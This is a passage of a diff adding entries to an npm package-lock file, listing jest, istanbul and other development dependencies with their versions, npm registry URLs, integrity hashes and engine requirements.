"sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dev": true, + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/import-local": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "dev": true, + "dependencies": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + }, + "bin": { + "import-local-fixture": "fixtures/cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/internal-slot": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.6.tgz", + "integrity": "sha512-Xj6dv+PsbtwyPpEflsejS+oIZxmMlV44zAhG479uYu89MsjcYOhCFnNyKrkJrihbsiasQyY0afoCl/9BLR65bg==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.2", + "hasown": "^2.0.0", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dev": true, + "dependencies": { + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dev": true, + "dependencies": { + "which-typed-array": "^1.1.11" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.1.tgz", + "integrity": "sha512-EAMEJBsYuyyztxMxW3g7ugGPkrZsV57v0Hmv3mm1uQsmB+QnZuepg731CRaIgeUVSdmsTngOkSnauNF8p7FIhA==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-instrument/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-instrument/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-instrument/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", + "dev": true, + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", + "integrity": "sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==", + "dev": true, + "dependencies": { + "@jest/core": "^29.7.0", + "@jest/types": "^29.6.3", + "import-local": "^3.0.2", + "jest-cli": "^29.7.0" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-changed-files": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", + "integrity": "sha512-fEArFiwf1BpQ+4bXSprcDc3/x4HSzL4al2tozwVpDFpsxALjLYdyiIK4e5Vz66GQJIbXJ82+35PtysofptNX2w==", + "dev": true, + "dependencies": { + "execa": "^5.0.0", + "jest-util": "^29.7.0", + "p-limit": "^3.1.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-circus": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", + "integrity": "sha512-3E1nCMgipcTkCocFwM90XXQab9bS+GMsjdpmPrlelaxwD93Ad8iVEjX/vvHPdLPnFf+L40u+5+iutRdA1N9myw==", + "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^1.0.0", + "is-generator-fn": "^2.0.0", + "jest-each": "^29.7.0", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "p-limit": "^3.1.0", + "pretty-format": "^29.7.0", + "pure-rand": "^6.0.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-circus/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-circus/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-cli": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", + "integrity": "sha512-OVVobw2IubN/GSYsxETi+gOe7Ka59EFMR/twOU3Jb2GnKKeMGJB5SGUUrEz3SFVmJASUdZUzy83sLNNQ2gZslg==", + "dev": true, + "dependencies": { + "@jest/core": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "create-jest": "^29.7.0", + "exit": "^0.1.2", + "import-local": "^3.0.2", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "yargs": "^17.3.1" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-config": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", + "integrity": "sha512-uXbpfeQ7R6TZBqI3/TxCU4q4ttk3u0PJeC+E0zbfSoSjq6bJ7buBPxzQPL0ifrkY4DNu4JUdk0ImlBUYi840eQ==", + "dev": true, + "dependencies": { + "@babel/core": "^7.11.6", + "@jest/test-sequencer": "^29.7.0", + "@jest/types": "^29.6.3", + "babel-jest": "^29.7.0", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-circus": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "@types/node": "*", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/jest-config/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/pretty-format": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-config/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/jest-diff": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", + "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^29.6.3", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + 